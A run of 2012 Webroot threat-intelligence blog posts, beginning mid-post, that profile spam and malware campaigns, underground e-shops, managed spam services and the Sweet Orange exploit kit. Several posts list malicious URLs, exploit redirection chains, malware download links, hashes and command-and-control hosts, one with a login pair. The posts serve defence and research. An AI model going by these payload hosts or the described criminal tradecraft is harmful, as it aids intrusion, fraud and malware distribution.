Reselling already purchased accounting data at a higher price – Informed buyers within the cybercrime ecosystem would be able to easily differentiate market propositions made by novice cybercriminals and sophisticated cybercriminals, ultimately leading to a market-sound purchase of a particular good or service. Misinformed buyers, however, don’t know how to take advantage of the underground market transparency, and therefore purchase goods and items without being aware of the actual market-driven price for the selected item. Novice cybercriminals naturally benefit from misinformed buyers, who are often unknowingly paying a premium price for a particular item, since they don’t have access to the competitor’s proposition. This is one of the many ways in which novice cybercriminals earn profits from misinformed buyers within the cybercrime ecosystem.

Collecting accounting data through phishing campaigns – In cases where the novice cybercriminal doesn’t have access to a botnet, or doesn’t know where to purchase accounting data which he will later resell to prospective buyers, he turns to good old fashioned phishing campaingns in an attempt to collect valid accounting data from legitimate customers. Thanks to the overall availability of **harvested email databases** , **managed spam services** , and **phishing site templates for the most popular brands** in the financial sector, a novice cybercriminal can easily launch phishing campaigns in an attempt to build an inventory he will later start offering through his boutique cybercrime-friendly E-shop operation.

Webroot will continue monitoring the development of the boutique cybercrime-friendly operation.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals infiltrate the music industry by offering full newly released albums for just $1 - Webroot Blog

facebook linkedin twitter

Next to commodity underground goods and services such as **managed spam** , **harvested email databases** , **boutique cybercrime-friendly services** , **services offering access to hacked PCs** , **managed malware crypting on demand** , and **managed email hacking as a service** , the cybercrime ecosystem is also a thriving marketplace for stolen intellectual property, such as music releases.

In this post I'll profile a recently launched affiliate network for pirated music, offering up to 35% revenue sharing schemes with the cybercriminals that start reselling the stolen releases which undercut the official music marketplaces prices in an attempt to increase their profits.

More details:

What's particularly interesting about this affiliate network, is that just like **pharmaceutical affiliate networks** , the owners are offering a diversified arsenal of SEO (search engine optimization) and blackhat SEO tools such as, complete dumps of the database, RSS and Atom feeds, web site templates and affiliate links. How is the affiliate network paying its participants? Pretty simple, on a periodic basis, within three days to be precise, they would receive their payment using Web Money or wire transfer.

Let's take a peek inside the affiliate network in order to better understand how it works.

Sample forum post advertising the newly launched affiliate network for pirated music:

Screenshot showing the interface of the affiliate network:

Screenshot showing the interface of the affiliate network:

Sample Mp3 selling web page generated by the affiliate network:

Sample Mp3 selling web page generated by the affiliate network:

A comparison of the price from a legitimate music marketplace such as Amazon.com next to the affiliate network's proposition:

A comparison of the price from a legitimate music marketplace such as Amazon.com next to the affiliate network's proposition:

As you can see, the price for Adele's 21 album on the legitimate store is $1.29 per song, however, the price for the same album at the affiliate network for pirated music is $0.11 per song. Since the cybercriminals operating the affiliate networks obtained the pirated music without investing huge amounts of time and money into it, no matter what price they set up as the default price for selling the MP3's, they will still earn a profit.

Thanks to the mature monetization methods offered by affiliate networks, they still remain one of the key driving forces behind the growth of the cybercrime ecosystem in general.

Webroot will continue monitoring the development of the affiliate network.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Windstream bill' themed emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating the **Windstream Corporation** , in an attempt to trick end and corporate users into clicking on links found in the malicious email.

Upon clicking on the links hosted on compromised web sites, users are exposed to client-side exploits served by the **BlackHole** web **malware exploitation kit** .

More details:

Screenshot of a sample malicious email used by the cybercriminals:

Spamvertised URL: *hxxp://madaboutleisure.wsini.com/Ua8ndKkr/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61f*

Redirects to: *hxxp://108.170.18.39/search.php?q=fa16f5d3def51288* (responding to **mx39.diplomaconnection.org**), AS20454, ASN-HIGHHO

Client-side exploits served: **CVE-2010-1885**

Redirection chain for the client-side exploit: *hxxp://madaboutleisure.wsini.com/Ua8ndKkr/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61* -> *hxxp://icanquit.co.uk/wvGCntXp/js.js* -> *hxxp://108.170.18.39/search.php?q=fa16f5d3def51288* -> *hxxp://108.170.18.39/Set.jar* -> *hxxp://108.170.18.39/data/ap2.phpi*

Upon successful exploitation, two executables are dropped on the infected hosts, **MD5: 088ff8b667d3e6a6f968ad6b41aa4fb0** and **MD5: 1b1bbf726902beb3b25d11fbdc58720f** – detected by 11 out of 42 antivirus scanners as Worm:Win32/Gamarue.I; Gen:Variant.Kazy.72780.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised CareerBuilder themed emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

End and corporate users, and especially CareerBuilder users, beware!

Cybercriminals are currently spamvertising millions of emails impersonating the popular jobs portal CareerBuilder in an attempt to trick users into clicking on client-side exploits serving links.

The current campaign, originally circulating in the wild since 26 Apr, 2012, is a great example of a lack of QA (quality assurance) since they're spamvertising a binary that's largely detected by the security community.

More details:

Spamvertised URL: *hxxp://karigar.in/car.html*

Client-side exploits served: CVE-2010-0188 and CVE-2010-1885

Malicious client-side exploitation chain: *hxxp://karigar.in/car.html* -> *hxxp://masterisland.net/main.php?page=975982764ed58ec3* -> *hxxp://masterisland.net/data/ap2.php* sometimes *hxxp://strazdini.net/main.php?page=c6c26a0d2a755294* is also included in the redirection

Upon successful exploitation drops the following **MD5: 518648694d3cb7000db916d930adeaaf**

Upon execution it phones back to the following URLs/domains: zorberzorberzu.ru/mev/in/ (146.185.218.122)
prakticalcex.ru – 91.201.4.142
nalezivmordu.in internetsexcuritee4dummies.ru

Thanks to the overall availability of **malware crypting on demand services** , we believe that it's only a matter of time before the cybercriminals behind this campaign realize that they're spamvertising an already detected executable, crypt it and spamvertise it once again this time successfully slipping it through signatures-based antivirus scanning solutions.

Webroot SecureAnywhere customers are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Pop-ups at popular torrent trackers serving W32/Casonline adware - Webroot Blog

facebook linkedin twitter

Everyone knows that there’s no such thing as free lunch. The same goes for freely distributed pirated content online.

Recently, Webroot decided to sample malicious activity within some of the most popular Eastern European torrent trackers, based in Bulgaria, Ukraine, and Romania for starters. The results? Countless backdoored key generators and cracks for popular games and software, and most interestingly, monetization of the huge traffic by delivering pop-ups promoting the ubiquitous W32/Casonline adware, which in case you remember was recently **spamvertised to millions of end and corporate users** .

More details:

Upon visiting the torrent trackers, or clicking on any of the torrents links, on the majority of occasions the tracker’s users will be exposed to pop ups enticing them into downloading third-party online gambling software which in reality is the W32/Casonline adware. The owners of the torrent tracker earn revenue every time a user downloads and installs the application.

Screenshot of a pop-up enticing users into downloading W32/Casonline adware:

Second screenshot of a pop-up enticing users into downloading W32/Casonline adware:

Third screenshot of a pop-up enticing users into downloading W32/Casonline adware:

Fourth screenshot of a pop-up enticing users into downloading W32/Casonline adware:

Fifth screenshot of a pop-up enticing users into downloading W32/Casonline adware:

Sixth screenshot of a pop-up enticing users into downloading W32/Casonline adware:

Screenshot of the GUI of one of the installers:

Pop up URIs: *hxxp://www.888poker.com/?utm_medium=mb&utm_source=3038 ; hxxp://static.eurogrand.com/en/; hxxp://dutch.eucasino.com/; hxxp://ieurodicehit.net; hxxp://goldencherrylp.com/cherryslots220free-20free-1162146; hxxp://www.888casino.com/affiliates/city-life.htm*

Detection rate for a sampled W32/Casonline.F binary, **MD5: 43a6828eb346f954c53b843f3e9da6b3** – detected by 4 out of 42 antivirus scanners.

Detection rate for a sampled GAME/Casino.Gen binary, **MD5: 52f62dfe393a7722d639ddb3cd41350b** – detected by 4 out of 42 antivirus scanners.

Detection rate for a sampled GAME/Casino.Gen binary, **MD5: b07e5e7de2d2d4e960542c349cb1ebee** – detected by 1 out of 42 antivirus scanners.

Detection rate for a sampled Trojan.Win32.Casino.428888, **MD5: 881e3d78c9ce1fd9a2a6372219b6cc8b** – detected by 3 out of 42 antivirus scanners.

Detection rate for a sampled W32/Casonline binary, **MD5: bf05408f113688e1353fa8a0cfc13b9d** – detected by 0 out of 42 antivirus scanners.

Detection rate for a sampled CasinoOnline binary, **MD5: 5960085c6618f5fc30198645d38bff8a** – detected by 1 out of 42 antivirus scanners.

Webroot SecureAnywhere customers are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a boutique cybercrime-friendly E-shop - part two - Webroot Blog

facebook linkedin twitter

Increasingly populated by **novice cybercriminals** thanks to the rise of cybercrime-as-a-service underground market propositions, the cybercrime ecosystem is also a home to a huge variety of underground market players.

This overall availability of managed cybercrime services results in an increasing number of underground market propositions by novice cybercriminals looking for alternative ways to monetize the fraudulently obtained goods. Although their service cannot be compared to the services offered by sophisticated cybercriminals, this niche market segment is becoming increasing common these days.

In this post, I'll profile yet another recently advertised boutique cybercrime-friendly E-shop, run by novice cybercriminals, offering access to hacked servers.

More details:

Screenshots of the boutique cybercrime-friendly E-shop offering access to hacked servers:

The E-shop allows potential customers the ability to choose the (stolen) account type in order for the interface to display detailed info of the hacked server, the type of account, the country of origin, next to the price. The Liberty Reserve accepting cybercrime friendly E-shop is currently selling access to hacked servers for prices varying between $6 and $13 per hacked server.

The novice cybercriminal behind this shop, would have obtained the stolen goods in numerous ways. For instance, he could be managing a small botnet that could be data mining the malware-infected hosts for login credentials. Moreover, he could be easily purchasing access to these hacked servers for a cheaper price, and attempting to achieve a positive ROI (return on investment) by reselling them at a higher price. Next to these two alternatives, he could be also systematically attempting to exploit outdated and already patched remotely executable vulnerabilities in order to gain root/administrator access to these hosts.

Webroot will continue monitoring the shop's latest propositions and future development.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'YouTube Video Approved' and 'Twitter Support" themed emails lead to pharmaceutical scams - Webroot Blog

facebook linkedin twitter

Just like true marketers interested in improving the click-through rates of their campaign, pharmaceutical scammers are constantly looking for new ways to attract traffic to their fraudulent sites.

From compromised web shells on web sites with high page rank, the **impersonation of legitimate brands** , to the development of **co-branding campaigns** , pharmaceutical scammers persistently rotate the traffic acquisition tactics in an attempt to trick more end users into **purchasing their counterfeit pharmaceutical items** .

In this post, I'll profile two currently spamvertised campaigns impersonating YouTube and Twitter, ultimately redirecting end users to pharmaceutical scams.

More details:

Screenshot of the 'YouTube Video Approved' themed email:

Screenshot of the 'Twitter Support" themed email:

Sample spamvertised URLs located on compromised domains:

hxxp://cantaci.com/solitude.html
hxxp://lyonssystems.co.uk/plank.html

Spamvertised pharmaceutical scam site:

hxxp://medslevitraleiby.com – Email: peep@osmail.net

Both campaign redirect users to pharmaceutical scam domains, such as **medslevitraleiby.com** which is responding to 91.212.124.152. In the past, it used to respond to the following IPs: 37.157.249.2; 91.212.124.152; 95.168.193.184; 171.25.190.224; 188.132.211.183; 194.28.50.113; 213.162.209.179.

The spammers are monetizing the traffic by participating in a **revenue-sharing pharmaceutical affiliate program** .

Users are advised to be extra vigilant when interacting with email from unknown sources, and not to purchase counterfeit items from pharmaceutical shops delivered to them via spam messages, no matter which company they're attempting to impersonate.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised bogus online casino themed emails serving adware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising online casino themed emails, which ultimately redirect users to a bogus casino site offering an executable download. Upon deeper examination, it appears that the download is actually adware.

More details:

Spamvertised URL, including affiliate ID: hxxp://grand-parker.com/bonus/15free.php?affid=22323&bonus=TAKE15 – currently responding to 212.7.194.232; 195.2.253.22.

Detection rate for GrandParker.exe: **MD5: 7bec7eb7f891c1c894536c10fe53c34d** , Detected by 6 out of 42 antivirus scanners as GAME/Casino.Gen2; W32/CasOnline; W32/Casino.HNY

Upon execution it phones back to the following URL in order to download the setup file:

setup.dnfilescntnt.eu//36175/cdn/parker/Grand%20Parker%20 Casino20120417101453.msi

Detection rate for Grand_Parket_Casino.msi: **MD5: e5fa6bc94ee9a5becfd6d5d1cb8f1147** , Detected by 1 out of 41 antivirus scanners as PUA.Packed.PECompact-1

The cybercriminals behind the spamvertised campaign are earning revenue through the Hastings International B.V. distributor of RealTime Gaming software.

Webroot SecureAnywhere customers are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Ongoing 'LinkedIn Invitation' themed campaign serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Remember the **'LinkedIn Invitations' themed malware campaign** which I profiled in March, 2012?

A few hours, ago, the cybercriminals behind it launched another round of malicious emails to millions of end and corporate users.

More details:

Once the user clicks on the link (**hxxp://hseclub.net/main.php?page=d72ac4be16dd8476**), a client-side exploit, **CVE-2010-1885** in particular, will attempt to drop the following MD5 on the affected host, **MD5: 66dfb48ddc624064d21d371507191ff0**

Upon execution the sample attempts to connect to the following hosts:

janisjhnbdaklsjsad.ru :443 with user janisjhnbdaklsjsad.ru and password janisjhnbdaklsjsad.ru – 91.229.91.73, AS50939, SPACE-AS
sllflfjsnd784982ncbmvbjh434554b3.ru – 91.217.162.42, AS29568, COMTEL-AS
kamperazonsjdnjhffaaaae38.ru – 91.217.162.42, AS29568, COMTEL-AS
iiioioiiiiooii2iio1oi.ru – 91.217.162.42, AS29568, COMTEL-AS

Another malware with **MD5: 4b1fce0f9a8abdcb7ac515d382c55013** is known to have used one of these C&C domains in the past, **janisjhnbdaklsjsad.ru** in particular.

Webroot SecureAnywhere users are protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a managed spam service - Webroot Blog

facebook linkedin twitter

Just how easy is it to become a spammer in 2012? Too easy to be true.

Especially in times when everything needed to become a spammer, starting for a **managed** spam **appliance** , **DIY email harvesters** , and **millions of** harvested **emails** , are available for sale within the cybercrime ecosystem. Despite the numerous botnet take downs we've seen in recent years, spam and phishing attacks continue plaguing millions of end and corporate users, potentially exposing them to malicious links, malicious payloads and fraudulent propositions.

In this post, I'll profile a Russian managed spam service that's been in operation for 5 years, allowing novice cybercriminals an easy entry into the world of spamming.

More details:

What's particularly interesting about the service, is that it's currently advertised at a dozen of cybercrime-friendly underground communities, in an attempt by its owners to increase the clients base. What's so special about this service anyway? Is it vertically integrating within the marketplace by occupying leading positions in multiple market segments? Let's take a closer look.

Screenshots of the service's underground market proposition, and currently harvested email databases offered for sale:

How does the service differentiate itself from the rest of the propositions within the cybercrime ecosystem? By emphasizing on key core competencies such as managed QA (quality assurance) ensuring that the message about the get spammed will successfully bypass anti-spam filters. Next to this option, the service also offers the availability of graphic designers capable of producing custom layouts on request. Not surprisingly, thanks to the fact that the service is build around the concept of anonymity, a customer could easily request the design of spam templates impersonating **Google** , **Facebook** , **USPS** , **LinkedIn** , **U.S Airways** , or **Verizon Wireless** .

Security tip: Since spammers constantly crawl the public Web looking for emails, including **micro-blogging services as Twitter** for instance, make sure that **you're not publicly sharing your email address** in an easy to crawl way, if you don't want to have it become part of a spammer's arsenal

For customers who don't have their own databases of harvested emails, the managed spam service will gladly offer them to take advantage of the already harvested databases of publicly obtainable emails.

Databases of harvested email addresses on a per country/industry/type of email basis is available at the following prices:

Moscow region – 3,200,000 harvested emails – Price: 8,000 rubles ($256)
Moscow organizations and manufacturers – 800,000 harvested emails. Price – 4,000 rubles ($128)
Moscow citizens – 2,450,000 harvested emails – Price 5,500 rubles ($177)
Russian organizations and manufacturers – 3,280,000 – Price 7500 rubles ($241)
Russian citizens – 10,000,000 harvested emails – Price 13,000 rubles ($419)
St. Petersburg organizations and manufacturers – 270,000 harvested emails – Price 3,300 rubles ($106)
Kiev based companies – 480,000 harvested emails – Price $150
Ukraine based emails – 1,500,000 harvested emails – Price 5,000 rubles ($161)
Austria based emails – 185,000 harvested emails – Price $100
United Kingdom based emails – 130,000 harvested emails – Price $100
Germany based emails – 300,000 harvested emails – Price $100

Italy based emails – 210,000 harvested emails – $100
Estonia based emails – 20,000 harvested emails – Price $100

Among the key differentiation factors used by this vendor of managed spam service, is the ability to send spam on fax numbers, with an already obtained database consisting of 98,000 fax numbers. This and the recently exposed capability of **managed MMS spam sending** , indicate the vendor's ongoing customerization of their business model.

Webroot will continue monitoring the development of the service.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Poison Ivy trojan spreading across Skype - Webroot Blog

facebook linkedin twitter

Last night, a friend of mine surprisingly messaged me at 6:33 AM on Skype, with a message pointing to what appeared to be a photo site with the message "*hahahahaha foto* " and a link to ***hxxp://random_subdomain.photalbum.org***

What was particularly interesting is that he created a group, and was basically sending the same message to all of his contacts. Needless to say, the time has come for me to take a deeper look, and analyze what appeared to be a newly launched malware campaign using Skype as propagation vector.

More details:

Once the socially engineered clicked on the link, a Download window will automatically prompt them to download the following file – ***Photo9321092109313.JPG_www.facebook-com.exe*** . Notice how the cybercriminals behind the campaign try to trick end users into thinking that they're about to open an image file, potentially coming from Facebook. In reality though, it's an executable.

Security tip: Windows users can see how they can enable full file extension **here** , and Mac OS X users can view how they can start displaying full file extensions **here** .

Malicious subdomains spamvertised over Skype messages:

hxxp://new07.photalbum.org
hxxp://new39.photalbum.org
hxxp://new67.photalbum.org
hxxp://new43.photalbum.org
hxxp://new32.photalbum.org
hxxp://new56.photalbum.org

photalbum.org – 98.124.198.1 (AS21740, DemandMedia) – Email: cuti@ilirida.net

The following domains were also registered using the same email address:

photo-facebook.info
Msn-gallery.net
Ebunet.org
Mut-article.net
Megaarticles.biz
Megaarticles.org
Megaarticles.biz
Mut-article.net

The ***Photo9321092109313.JPG_www.facebook-com.exe*** sample has the following MD5, **MD5: bc3214da5aac705c58a2173c652e031e** , currently detected as Trojan.Win32.Jorik.PoisonIvy.yy, Trojan.Win32.Diple!IK by 16 out of 42 antivirus engines.

Upon execution the binary, creates a batch script, installs a program to run automatically at logon, and creates a thread in a remote process.

It then it phones back to the following domains/IPs:

hd.hidbiz.ru
4.45.182.239:1986

Another sample with **MD5: fe18d433eb8933fa289b5d9a00e2f5c7** is known to have used these C&C domains/URLs before. It also modifies the browser's start page to: *Start Page = "hxxp://enaricles.com".*

More malware MD5's that modify the browser's start page to hxxp://enaricles.com: MD5: 5de919fad7969043a3ebeff2e103b996
MD5: 23db2396cccc6f70f37153419ba14d6b
MD5: 45958771468f1ad3200e60c89126b285
MD5: 435a9835464ccff075339d7021508609
MD5: ec06e9ee54f8534beb35f45f03ac0cbc

Hijacked trusted and legitimate Skype accounts are invaluable from a social engineering perspective. Trust is vital, even novice end users know it. If the cybercriminals were to automatically register thousands of bogus accounts, they would attempt to only target users who allow the receiving of messages from users who are NOT on their contact list. Although millions of Skype users continue receiving these messages, the majority of successful malware campaigns using Skype as propagation vector, tend to involve trusted and compromised Skype accounts in an attempt to increase the probability of a successful infection.

Security tip: In order to prevent receiving messages from people not on your contact list, **follow the instructions offered here** .

What's so special about the payload anyway? The payload is a copy of the infamous Poison Ivy DIY RAT (Remote Access Tool) also known as a trojan horse or backdoor. The attackers chose this easy to obtain RAT for serving malicious code, compared to a situation where they would need to code it from scratch.

Webroot SecureAnywhere proactively protects against this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Pizzeria Order Details' themed campaign serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

End and corporate users (and especially Pizza eaters), beware!

Cybercriminals are currently spamvertising hundreds of thousands of emails, impersonating FLORENTINO`s Pizzeria, and enticing users into clicking on a client-side exploits and malware serving link in order to cancel a $169.90 order that they never really made.

More details:

Once the user clicks on the link, they will be redirected to a compromised site serving client-side exploits and ultimately dropping multiple malicious binaries on their hosts upon a successful infection.

Malicious URL: *hxxp://oldsoccer.it/page1.htm?RANDOM_STRINGS*

Client-side exploits used: *CVE-2010-0188 and CVE-2012-0507*

The malicious URL contains a tiny iFrame pointing to the fast-fluxed domain ***uiwewsecondary.ru:8080/internet/fpkrerflfvd.php*** where the client-side exploitation takes place.

The redirection chain is as follows:

uiwewsecondary.ru:8080/internet/fpkrerflfvd.php -> ***uiwewsecondary.ru:8080/internet/itbzewhqgrkv.jar*** -> ***uiwewsecondary.ru:8080/internet/xrcnenbmdpfzfpx.jar*** ->***uiwewsecondary.ru:8080/internet/kqbzaubpiqxnbn.pdf*** **-> *poluicenotgo.ru:8080/internet/at.php?i=8***

The Russian domains are **fast-fluxed** by the cybercriminals in an attempt to make it harder for security researchers and vendors to take down their campaign. We've seen a similar fast-flux technique applied in the following campaign – "**Spamvertised 'Your tax return appeal is declined' emails serving client-side exploits and malware** ".

Upon successful exploitation the campaign drops the following MD5 on the infected hosts: MD5: **03d874abaaca02b090372eee2d090dc0** detected as Trojan.Generic.KDV.602078; Troj/Agent-VSS.

What happens once the dropped MD5 executes? Basically, it phones back to the following domains/URLs:

dare2dreamz.com/pony/gate.php cityweddingguide.com dynolite.eu abbott.u4ria.co.za demircioglubilgisayar.com.tr

It also downloads more malicious binaries from the following compromised URLs:

dynolite.eu/7U0ASvP9/AZz.exe abbott.u4ria.co.za/HGFg1RHz/MkiZMX.exe demircioglubilgisayar.com.tr/qy3kMMxv/VgWqQm4k.exe

All the binaries are identical, and have the following MD5, **MD5: 97d8f1fa11c86befa069845ffaf818db** currently detected as TrojWare.Win32.Kryptik.ADXK by 7 out of 42 antivirus scanners.

Webroot SecureAnywhere customers are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals release 'Sweet Orange' - new web malware exploitation kit - Webroot Blog

facebook linkedin twitter

From DIY (do-it-yourself) **exploit generating tools** , to efficient **platforms for exploitation** of end and corporate users, today's efficiency-oriented cybercriminals are constantly looking for ways to monetize hijacked web traffic. In order to do so, they periodically **introduce new features in the exploit kits** , initiate new partnerships with **managed malware/script crypting services** , and do their best to stay ahead of the security industry.

What are some of the latest developments in this field?

Meet Sweet Orange, one of the most recently released web malware exploitation kits, available for sale at selected invite-only cybercrime-friendly communities.

What's so special about Sweet Orange? Does it come with customer support? What client-side exploits is it serving? How are the Russian cybercriminals behind it differentiating their underground market proposition in comparison with **competing kits** , such as the market leading **Black Hole** web **malware exploitation kit** ?

Let's find out.

Screenshots of the Sweet Orange web malware exploitation kit in action:

As you see in the attached demo shots, the cybercriminals have already managed to infect 497 users running Internet Explorer, and another 22 running Mozilla's Firefox. Affected operating systems include, 249 hosts running Windows 7, 139 running Windows XP, and 130 running Windows Vista.

What's particularly interesting about the Sweet Orange web malware exploitation kit, is that just like the Black Hole exploit kit, its authors are doing their best to ensure that the security community wouldn't be able to obtain access to the source code of the kit, in an attempt to analyze it. They're doing this, by minimizing the advertising messages posted on invite-only cybercrime-friendly web communities, and without offering any specific details, demos or screen shots unless the potential buyer directly contacts the seller and has a decent reputation within the cybercrime ecosystem.

Despite the OPSEC (operational security) applied to their underground market proposition, we managed to find out interesting details regarding the pricing, including screenshots, and the variety of exploits included in the kit.

How much does it cost to rent or purchase the Sweet Orange exploit kit? According to the Russian cybercriminals behind it:

We can provide one-day test for 80 WMZ, rent for week – 375$, month – 1400$, unlimited domains ; purchasing: 2500$ and support: 800$ for cleaning, 10$ – one domain, 300$ – multi-domain license; we accept WebMoney only

More details from their underground market proposition:

Rent: traffic limit 150k/day; purchasing: unlimited traffic; ratio – you can test with your traf; ratio 10-25%, always clean pack ; domains is clean in long time

Client-side exploits found in the kit:

Java exploits, PDF exploits, Internet Explorer exploits, Firefox exploits

Next to managed crypting of the malicious binaries, the vendor is also offering 150,000 unique visitors to be redirected to the malicious payload served by the exploit kit. Cybercriminals often hijack millions of unique visitors through black hat search engine optimization campaigns (blackhat SEO), **malvertising** , and **bogus content blog farms** consisting of hundreds of thousands of automatically registered blogs.

Webroot will continue monitoring the development of this kit, to ensure that **Webroot SecureAnywhere** customers are protected from its malicious payload.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a boutique cybercrime-friendly E-shop - Webroot Blog

facebook linkedin twitter

The vibrant cybercrime ecosystem is populated by a diverse set of market players. From sellers, to buyers and vendors, sophisticated cybercriminals next to novice cybercriminals, everyone is persistently looking for ways to monetize their assets and increase their revenue.

Over the past two years, the industry witnessed the maturing business models in use by cybercriminals, and the rise of the so called cybercrime-as-a-service underground market propositions. Cybercriminals of all kinds have realized that managed services are the future that offer an efficient revenue generating platform for everyone to take advantage of.

In this post, I'll profile a recently advertised boutique cybercrime-friendly E-shop, operated by what appears to be a novice cybercriminal looking for ways to monetize his fraudulently obtained assets.

Screenshots of a DIY cybercrime-friendly E-shop:

His inventory of underground market goods and products includes:

SMTP servers, SMTP Verifier, SMTP Scanner, access to RDP+AMS hosts, Leads, PHP Mailers, compromised cPanels, compromised Web Shells, compromised servers with Root access

The boutique cybercrime-friendly shop is a great example of how novice cybercriminals will not only attempt to monetize the fraudulently obtained underground goods, they will also attempt to monetize commodity goods that are freely available at the disposal of average cybercriminals.

Webroot will continue monitoring the shop's latest propositions and future development.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Managed SMS spamming services going mainstream - Webroot Blog

facebook linkedin twitter

Are you receiving SMS spam? According to the latest reports, **millions of mobile users do** .

The trend is largely driven by what Webroot is observing as an increase in underground market propositions offering managed SMS spamming services to new market entrants not interested in building and maintaining the spamming infrastructure on their own.

In this post, I'll profile a recently advertised managed service offering SMS spamming capabilities to potential customers, discuss the latest innovations in this field, their impact to mobile security, and what are some of the key factors contributing to the growth of SMS spam.

More details:

The service is currently offering the following features to new market entrants into the area of mobile spam:

Managed SMS spamming using the customer's database of mobile numbers
Managed SMS spamming using a specific mobile number range
Managed SMS spamming based on a specific carrier
Managed SMS Spamming based on a specific city
Managed SMS Spamming based on a specific country

These unique features offer cybercriminals the ability to better tailor their market proposition to unaware customers, potentially exposing them to scams and mobile malware attacks.

What's also available in the service proposition, is the ability to choose a custom text message, next to the option to spoof the number of the sender to any given number. Clearly, this has been introduced with the idea to prevent affected users from blocking SMS messages from a single number.

What about the price? For up to 10,000 SMS messages, the price is 0.34 rubles ($.01 USD) per SMS, from 10,000 to 35,000 messages, the price per SMS is 0.29 rubles($.01 USD) per SMS, from 35,000 to 100,000 the price per SMS is 0.25 ($.01 USD) rubles, and for any orders above 100,000 SMS messages, the price is 0.20 rubles ($.01 USD) per SMS.

Let's review some of key factors contributing to the growth of SMS spam.

Sample screenshots of DIY (do-it-yourself) SMS spammers currently available for sale:

Key factors affecting the growth of SMS spamming:

Managed SMS spamming services proliferating – Webroot is currently aware of several services offering managed SMS spam service, with that number increasing if we take into consideration the number of managed services advertised around cybercrime-friendly web forums, that don't necessarily have a dedicated web site advertising their market propositions. Thanks to the increased demand for such services, mobile spammers are prone to continue supply new and diversified market propositions to new market entrants.

